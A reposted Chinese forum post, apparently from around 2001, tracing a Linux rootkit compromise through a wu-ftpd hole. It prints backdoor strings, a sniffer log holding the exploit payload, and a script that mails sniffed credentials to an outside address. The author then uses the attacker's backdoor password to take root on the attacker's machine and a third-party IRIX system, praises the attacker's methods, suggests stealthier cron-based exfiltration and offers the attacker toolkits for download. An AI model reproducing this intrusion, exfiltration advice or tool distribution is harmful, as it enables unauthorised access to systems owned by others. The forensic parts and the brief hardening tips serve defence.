当前位置:Linux教程 - Linux - 追踪分析一名hack

追踪分析一名hack



         可能是节假日的原因,hack事件特别多,我就遇到了两次
    1.昨天当我查询我的一台机器时,意外的发现有人入侵了
    其实是我自己的失误,没有打上wuftpd26的补丁,又没有改/etc/ftpusers
    让人轻易的利用wuftpd26的远程漏洞用匿名用户进入了我的机器。不过这位朋友显然未加考虑的使用了rootkit
    ,结果造成ps 输出的结果是这样:
    [root@ns]# ps
    PID TTY STAT TIME COMMAND
    678 1 S 0:00 /sbin/mingetty tty1
    679 2 S 0:00 /sbin/mingetty tty2
    680 3 S 0:00 /sbin/mingetty tty3
    681 4 S 0:00 /sbin/mingetty tty4
    682 5 S 0:00 /sbin/mingetty tty5
    683 6 S 0:00 /sbin/mingetty tty6
    5557 ? S 0:00 /bin/sh -i
    5591 ? R 0:00 ps

    这样的输出结果我想谁看了都知道是个什么意思。那么就让我们一步一步看看他做了些什么吧
    [这位hack没有想到这机器已经早有主人了,并且安装了自己的rootkit工具包]
    [root@ns]# strings /bin/login|more
    ..........
    __bss_start
    _end
    PPRV
    DISPLAY
    /bin/envpc
    l4m3r0x
    /bin/sh
    从上可以看出是个login后门,通过export PATH=\"l4m3r0x\"后,直接telnet对方就能得到#
    [root@ns]# strings /bin/ls|more
    .....
    always
    /usr/local/share/locale
    fileutils
    GNU fileutils-3.13
    vdir
    %s - %s
    /dev/sgk/.fsdc/.1file
    //DIRED//
    //SUBDIRED//
    POSIXLY_CORRECT
    COLUMNS
    注意看了, /dev/sgk/.fsdc/.1file这就是他rootkit文件放的位置了,那么让我们看看那儿都有些什么吧
    [root@ns]# mv /dev/sgk/.fsdc/.1file /tmp
    [root@ns]# ls -la /dev/sgk/.fsdc
    total 641
    drwxr-xr-x 5 root ftp 1024 Feb 4 09:01 .
    drwxr-xr-x 3 root ftp 1024 Feb 2 17:11 ..
    -rw-r--r-- 1 root ftp 7 Feb 2 17:11 .1logz
    -rw-r--r-- 1 root ftp 88 Feb 2 17:11 .1proc
    drwxr-xr-x 2 root ftp 1024 Feb 2 17:11 backup
    drwxrwxr-x 2 lujiang lujiang 1024 Feb 2 17:14 clean
    -rwxr-xr-x 1 lujiang lujiang 5578 Nov 18 11:08 filetrans
    -rwxr-xr-x 1 lujiang lujiang 9396 Aug 23 1999 killall-real
    -rwxr-xr-x 1 lujiang lujiang 7578 Aug 21 17:22 parse
    -rwxr-xr-x 1 lujiang lujiang 6232 Sep 9 1999 parse1
    drwxrwxr-x 2 lujiang lujiang 1024 Jan 28 16:34 patches
    -rwxr-xr-x 1 lujiang lujiang 28004 Aug 23 1999 ps-real
    -rwxr-xr-x 1 lujiang lujiang 580696 Feb 18 2000 ssh
    -rw-r--r-- 1 root ftp 1398 Feb 4 08:55 system

    呵呵,看来东西还真不少,从ftp可以知道他是利用的ftP漏洞,从lujiang知道他还窃取了个本地用户
    [root@ns .fsdc]# cat .1logz
    rshd
    [root@ns .fsdc]# cat .1proc
    3 nscd
    2 nmap
    2 lscan
    2 login
    2 lpset
    2 xtty
    2 nscd
    3 statd
    3 lpq
    3 scan
    3 sniff
    3 envpc
    [root@ns .fsdc]# cat /tmp/.1file
    sgk
    .fsdc
    .clib
    .1proc
    .1addr
    .1file
    .1logz
    envpc
    xtty
    pttys
    filetrans
    lpset
    libload
    system
    parse

    .1logz是被syslogd调用,隐藏所列出命令所产生的记录.
    .1proc被ps命令调用.隐藏所列出的进程名称
    .1file被ls,find命令掉用.隐藏所列出的文件名,
    [root@ns .fsdc]# cd patches
    [root@ns patches]# cat patch.sh
    #!/bin/sh
    echo \"[1] Patching WU-FTPd...\"
    rpm -Uhv wuftpd.rpm
    echo \"[2] Patching NFS-utils...\"
    rpm -Fvh nfs-utils.rpm
    ps aux >> /tmp/psaux
    if [ \"`cat /tmp/psaux | grep rpc.statd`\" ]; then
    echo \"[3] Restarting the rpc.statd daemon (NFS-utils)\"
    /etc/rc.d/init.d/nfslock restart
    else
    echo \"[4] The daemon rpc.statd isn\t running, so no need to restart!\"
    fi
    rm /tmp/psaux
    这是个为wuftpd和rpc.statd漏洞准备的补丁包[我很赞赏此君的做法]
    其他的文件目录我就没有仔细看了[这些打包后会提供下载]
    根据.1file的隐藏文件列表我们一一找到了这些文件.
    [root@ns .fsdc]# strings /usr/bin/xtty
    ......
    PPRV
    (nfsiod)
    socket
    bind
    listen
    accept
    /bin/sh
    不难看出是个后门
    [root@ns .fsdc]# strings /dev/pttys
    #!/bin/sh
    cat /dev/sgk/.fsdc/system | mail [email protected] >/dev/null 2>&1
    nohup /usr/lib/lpset > /dev/null &
    nohup /usr/bin/xtty > /dev/null &
    rm -rf nohup.out
    这位hack很聪明,通过此脚本就可以把嗅探记录发往[email protected] [/dev/sgk/.fsdc/system是个嗅探记录]
    [root@ns .fsdc]# cat /etc/rc.d/rc.sysinit|more
    ..........
    if [ \"$PROMPT\" != \"no\" ]; then
    /sbin/getkey i && touch /var/run/confirm
    fi
    wait
    # Name Server Cache Daemon..
    /usr/sbin/nscd -q
    # Name Server Cache Daemon..
    /usr/sbin/nscd -q
    # Kernel module checker
    /usr/lib/libload > /dev/null 2>&1
    [root@ns bak]# strings /usr/sbin/nscd|more
    +Q$9
    /usr/info/.clib/sshd_config
    Received SIGHUP; restarting.
    RESTART FAILED: av[0]=\%.100s\, error: %.100s.
    Received signal %d; terminating.
    Timeout before authentication.
    Generating new %d bit RSA key.
    RSA key generation complete.
    f:p:b:k:h:g:diqV:
    i686-unknown-linux
    1.2.27
    sshd version %s [%s]
    Usage: %s [options]
    Options:
    /usr/info/.clib存放着一个ssh后门,这样机器启动后都会为hack开放方便之门.
    [root@ns .fsdc]# strings /sbin/syslogd
    ============================================================
    Time: %s Size: %d
    Path: %s
    => %s [%d]
    ------------------------------------------------------------
    Exiting...
    cant get SOCK_PACKET socket
    cant get flags
    cant set promiscuous mode
    /dev/null
    eth0
    system
    cant open log
    这位hack改动了syslogd文件,变成了一个sniffer

    。。。。。。。。。。
    接下来就是还原系统了,修改被窃取的帐号密码。这就不在这里表诉了,从我的嗅探记录我知道了他是从这两台机器上来的

    [root@ns man]# more system2
    ============================================================
    Time: Fri Feb 2 17:26:07 Size: 1056
    Path: 210.217.237.75 => ns.xxx.cn [21]
    ------------------------------------------------------------
    ##g#>4h#>4hUSER ftp
    #>hPASS 111F11CA?k^11^Ff\1^=11^C11^u1F^=0F1FvFNV110bin0sh1..11
    #>h<#?hsite exec xx(%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.
    f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f
    %.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%
    .f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.
    f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f
    %.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%c%c%c%.f|%p
    #@@h
    ============================================================
    Time: Sat Feb 3 06:01:39 Size: 44
    Path: 216.12.101.4 => ns.xxx.cn [21]
    ------------------------------------------------------------
    @c@ (B@
    ============================================================
    从上可知hack是从210.217.237.75攻击的,根据习惯,通常都会做一样的后门,所以
    [root@ns man]# export DISPLAY=\"l4m3r0x\"
    [root@ns man]# telnet 210.217.237.75
    Trying 210.217.237.75...
    Connected to 210.217.237.75.
    Escape character is \^]\.

    Boramae Cache Server 3.5.1

    bash# w
    7:48pm up 71 days, 9:43, 1 user, load average: 0.00, 0.00, 0.00
    USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
    root tty1 - 25Nov 0 31days 0.08s 0.05s -bash
    于是我成了这台机器的root
    bash# ps -ef
    PID TTY STAT TIME COMMAND
    940 2 S 0:00 /sbin/mingetty tty2 HOME=/ TERM=linux BOOT_IMAGE=linux AUTO
    941 3 S 0:00 /sbin/mingetty tty3 HOME=/ TERM=linux BOOT_IMAGE=linux AUTO
    942 4 S 0:00 /sbin/mingetty tty4 HOME=/ TERM=linux BOOT_IMAGE=linux AUTO
    943 5 S 0:00 /sbin/mingetty tty5 HOME=/ TERM=linux BOOT_IMAGE=linux AUTO
    944 6 S 0:00 /sbin/mingetty tty6 HOME=/ TERM=linux BOOT_IMAGE=linux AUTO
    957 1 S 0:00 -bash HOME=/root PATH=/sbin:/bin:/usr/sbin:/usr/bin SHELL=/
    22151 ? S 0:00 -bash HOME=/root USER=root LOGNAME=root PATH=/usr/bin:/bin:
    22178 ? S 0:00 \\_ ../ssh -l pthl mega.ee.tu-berlin.de LESSOPEN=|/usr/bin/
    。。。。。。。。。。
    呵呵,看来这台机器跟那台是一样的啊,于是我rcp来了自己的ps,结果看到的情况真是大吃一惊!

    root 13204 1 0 2000 ? 00:00:00 /usr/sbin/inetd
    root 13211 1 0 2000 ? 00:00:55 /usr/lib/lpset [后门]
    root 13243 1 0 2000 ? 00:00:00 /sbin/syslogd [sniffer]
    root 24287 1 0 Jan14 ? 00:00:00 ./nscd [后门]
    root 19968 1 0 Jan25 ? 00:00:06 ./wu -s0 -t 203.167.30.10 [wuftpd攻击程序]
    root 26042 13191 0 Jan28 ? 00:00:00 [sh <defunct>]
    root 26144 13191 0 Jan28 ? 00:00:00 [sh <defunct>]
    root 4395 13191 0 Jan29 ? 00:00:00 [xtty <defunct>]后门
    root 22149 13125 0 18:23 ? 00:00:00 /usr/sbin/nscd -q [后门]
    root 22151 22149 0 18:23 pts/0 00:00:00 -bash
    root 22178 22151 0 18:24 pts/0 00:00:00 ../ssh -l pthl mega.ee.tu-berlin 正在连接一台机器
    root 22231 13125 0 19:11 ? 00:00:00 /usr/sbin/nscd -q
    root 22235 22231 0 19:13 pts/2 00:00:00 -bash
    root 22679 13204 0 19:48 ? 00:00:00 in.telnetd: 203.93.xxx.xxx [呵呵,自己]
    root 22680 22679 0 19:48 pts/3 00:00:00 /bin/login -h 203.93.xxx.xxx -p
    root 22681 22680 0 19:48 pts/3 00:00:00 /bin/sh
    root 22851 1 0 20:03 pts/2 00:00:00 ./wumail -s0 -t 195.193.46.60
    root 22852 1 0 20:03 pts/2 00:00:00 ./wumail -s0 -t 195.191.47.60
    root 22854 1 0 20:03 pts/2 00:00:00 ./wumail -s0 -t 195.139.19.60 [正在扫描wuftpd漏洞
    root 22856 1 0 20:03 pts/2 00:00:00 ./wumail -s0 -t 195.82.89.60 并且完成攻击,保存记root 22857 1 0 20:03 pts/2 00:00:00 ./wumail -s0 -t 195.16.136.60 录]
    ..........
    [root@proxy .fsdc]# ls -la
    total 2240
    drwxr-xr-x 6 root ftp 4096 Feb 4 10:57 .
    drwxr-xr-x 3 root ftp 4096 Dec 29 22:48 ..
    -rw-r--r-- 1 root ftp 7 Dec 29 22:48 .1logz
    -rw-r--r-- 1 root ftp 88 Dec 29 22:48 .1proc
    drwxr-xr-x 2 root ftp 4096 Dec 29 22:48 backup
    drwxrwxr-x 2 admin admin 4096 Dec 29 22:51 clean
    -rwxr-xr-x 1 admin admin 5578 Nov 18 11:08 filetrans
    -rwxr-xr-x 1 admin admin 9396 Aug 23 1999 killall-real
    -rwxr-xr-x 1 admin admin 7578 Aug 21 17:22 parse
    ..........
    看来这位朋友一直都没有使用touch,chown的习惯,没有改变时间和属主名[我想这里是他的家了,里面的工具相当完整,还有大量的嗅探记录,扫描工具,漏洞程序,补丁]
    至于如何寻找这些后门前面已经讲过了,这里就不提了。

    最后来说说这位hack的不足之处和值得借鉴的地方:
    1。没考虑ps命令修改后是否适用的问题 [在另一文中我将提供修改过的ps源程序]
    2. 没给机器做一次检查,现在的机器还有这种明显漏洞说不定早有人捷足先登了,也没看看是否有sniffer在运行
    3.后门过多,我个人不赞成修改/etc/rc.d下面的文件,因为太容易看出
    4.有做相同后门的习惯,[这是个难以克服的缺点,包括我]
    5。给机器打上补丁是种聪明的做法,
    6。通过mail程序发送嗅探记录是个好办法,但我个人认为在cron里面做要好点,定时间发送,发送完后清空记录,至少我是这样做的

    其实这种事情在前几天我都遇见过一次,有位来自61.153.xxx.xxx的朋友的通过他的一台ip为202.103.xxx.xxx
    的redhat6.2机器[他在那机器上安装了个login后门,但很遗憾未给机器打上补丁,后被我所用]进入一个irix
    系统,当时我正在线上,于是用了他一样的办法rlogin -l sysadm xxxxx进入了那个irix机器[这并非是个简单的 .rhost后门,源程序提供下载]我打包了他的工具,供大家使用.

    给管理人员的建议:
    1.杜绝远程漏洞,打上补丁
    2.如果要使用telnet,ftp, 那么建议修改端口/etc/services
    3.把echo 1 > /proc/sys/net/ipv4/icmp_echo_igore_all 添加到/etc/rc.d/rc.loacl中,使本机不被ping成功,这样减少不必要的干扰
    4.经常使用rpm命令查看是否常用命令被修改

    下面提供这些包的下载[供大家分析][三天过后将删除这些包]
    http://202.108.34.22/manual/hack-1.tar.gz [另外一台机器上得到的东西]
    http://202.108.34.22/manual/hack-3.tar.gz [这篇文章中那位hack所用的工具包,内容相当丰富]
    http://202.108.34.22/manual/hack-irix.tar.gz [文末中提到那位61.153.xxx.xxx的朋友所用的工具包]

    发布人:Crystal 来自:绿盟BBS